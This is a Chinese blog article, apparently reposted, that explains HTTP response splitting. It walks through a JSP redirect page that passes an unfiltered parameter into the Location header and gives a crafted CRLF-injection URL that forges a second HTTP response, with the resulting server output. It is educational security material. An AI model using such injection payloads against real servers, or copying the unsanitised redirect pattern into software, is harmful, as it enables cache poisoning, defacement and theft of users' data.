博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
HTTP response splitting 攻击
阅读量:4199 次
发布时间:2019-05-26

本文共 2453 字,大约阅读时间需要 8 分钟。

<->原理简介  http响应头截断是一种新的攻击技术,由该技术衍生了许多攻击的方法:web cache poisoning,cross user defacement,cross –site scripting等。攻击者利用它 可以获取用户的敏感信息甚至是包含用户名和密码的认证信息。在许多环境下都存在该攻击的可能,Microsoft ASP ,ASP NET, IBM WEBSPHERE,比较流行的的服务器,apache ,squid,还有浏览器IE6.0 SP1.

               造成http响应头截断漏洞的主要原因是对用户提交的非法字符没有进行严格的过滤,尤 其是CR,LF字符的输入。攻击者通过发送一经过精心构造的request,迫使服务器认为其返回的数据是两个响应,而不是常规的一个响应。当可以通过精心制作的request完全 控制第二个响应时,可以通过这样来实现攻击:发送两个请求A,B。A请求包含构造数据,该请求致使服务器返回两个响应R1,R2,其中R2是可以通过在A中的精心构造而 完全控制的。服务器将R1作为response返回给A,而第R2则被服务器作为B的response而返回给了B﹙即使R2并不是服务器自己生成的)。

                                 Request A------------->Web Server(R1,R2)

                                 Request B------------->Web Server (本该是R3)
                                 Web Server(R1)------------>A
                                 Web Server(R2)——————>B
                        
<二>基本技术  http响应头截断攻击重点在于可以在http头中输入数据,构造特殊字符形成截断。最可能的是在Location字段,还有在Set-Cookie字段中。实例:页面/redir_lang.jsp

                <% 

                Response.sendRedirect(“/by_lang.jsp?lang=”+request.getParameter(“lang”)); %>

                当提交english作为参数时,会转到/by_lang.jsp?lang=english,常规的响应如下:

                HTTP/1.1 302 Moved Temporarily
                Date:Wed,24 Dec 2003 12:53:28 
                Location: 
                Server: WebLogic XMLX Module 8.1 SP1 Fir Jun 20 23:06:40 PDT
                2003 271009 with
                Content-Type: text/html
                Set-Cookie:    JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE!-
                12510119693;path=/  Connection:Close

               ……………………….略

               从以上可以看到的是:输入的参数已经提交到http头中,这样我们就可以构造特殊的字 符来截断http头,并到其后追加  一个自己构造的头:
                  /redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%oaHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%Content-Length:%2019%0d%0a%0d%0a<html>Shazam</html>

                 服务器返回的数

                 HTTP/1.1 302 Moved Temporarily
                 Date:Wed,24 Dec 2003 15:26:41 GMT 
                 Location:    
                 Content-Length:0

                 HTTP/1.1 200 OK

                 Content-Type: text/html
                 Content-length: 1
                 <html>Shazam</html>
                 Server: WebLogic XMLX Module 8.1 SP1 Fir Jun 20 23:06:40 PDT
                 2003 271009 with
                 Content-Type: text/html
                 Set-Cookie: JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE!-12510119693;path=/
                 Connection:Close

       说明: 1、第一个响应是302 response,2、第二个响应是自己构造的200 response, 3、(在 报头之外的数据都略掉了,其实原文是存在的,而且在实际中该段是要给与考虑的)

  这样我们就可以发送两个请求:

              1、/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%oaHTTP/1.1%20200%20OK%0d%0aContent-    Type:%20text/html%0d%0a%Content-Length:%2019%0d%0a%0d%0a<html>Shazam</html>

              2、/index.htm

              这样服务器对于第一个请求返回:
               HTTP/1.1 302 Moved Temporar
               Date:Wed,24 Dec 2003 15:26:41 GMT 
               Location:    
               Content-Length:0
              对于第二个请求返回:
               HTTP/1.1 200 OK
               Content-Type: text/html
               Content-length: 19
             
               <html>Shamaz</html>
             这样就达到了欺骗目标服务器的目的

<三>实际问题  实际中要实现还要考虑很多的因素,关键之一就是如何“分辨”出两个两个响应头的,还有url输入过长问题,怎样避过对一些特殊字符的过滤而进行数据注入,怎样迫使服 务器进行缓存等,怎样使两个响应恰好返回给发送的两个请求。(这些都是些很复杂且  必须考虑的)

转载地址:http://ptbli.baihongyu.com/

你可能感兴趣的文章
python之sklearn-特征工程-1.5 特征降维
查看>>
python之sklearn-特征工程-1.6 机器学习算法简介
查看>>
python之sklearn- 分类算法-2.1 数据集介绍与划分
查看>>
python之sklearn- 分类算法-2.2 sklearn转换器和估计器
查看>>
python之sklearn-分类算法-2.5 朴素贝叶斯算法
查看>>
python之sklearn-分类算法-2.6 决策树
查看>>
python之sklearn-分类算法-3.1 线性回归
查看>>
python之sklearn-分类算法-3.2 欠拟合与过拟合
查看>>
python之sklearn-分类算法-3.5 模型的保存与加载
查看>>
JWT的基本介绍
查看>>
关于nlp-pyltp的基本介绍和使用
查看>>
NLP(二)词袋模型及余弦相似度、编辑距离相似度
查看>>
排坑:调用python包nltk执行报错:raise LookupError(resource_not_found)
查看>>
python批量替换列表中的元素
查看>>
TensorFlow和keras的前世今生以及keras和tf.keras的对比
查看>>
Keras(一)分类模型实战
查看>>
Keras(二)回归模型实战
查看>>
Keras(三)实现深度神经网络
查看>>
sigmoid函数求导、求极值(史上最详细)
查看>>
Keras(四)实现批标准化、激活函数、dropout
查看>>